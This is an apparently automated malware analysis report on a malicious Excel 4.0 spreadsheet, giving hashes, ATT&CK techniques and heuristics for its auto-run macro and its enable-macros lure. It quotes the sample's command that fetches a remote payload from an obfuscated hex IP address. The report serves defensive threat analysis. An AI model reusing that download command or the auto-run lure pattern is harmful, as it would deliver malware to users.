Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 1069fc959903c619…

MALICIOUS

Office (OLE) / .XLS

64.5 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 0805d2bd52656776fc9236386638a44c SHA-1: f44c563391d2e6f6e078a0b2c7dd078b0377e49c SHA-256: 1069fc959903c6190f74feeb3c4c2b5130fb0d57500143109f179ec753d94b6a
100 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The file is an Excel 4.0 macro-enabled spreadsheet that uses an Auto_Open macro to execute a command. The macro attempts to download a payload from the URL "http://0xc12a24f5/cc.html" using the command "cmd /c msh a http://0xc12a24f5/cc.html". The document also contains a lure to enable macros, which is a common tactic for malware droppers.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes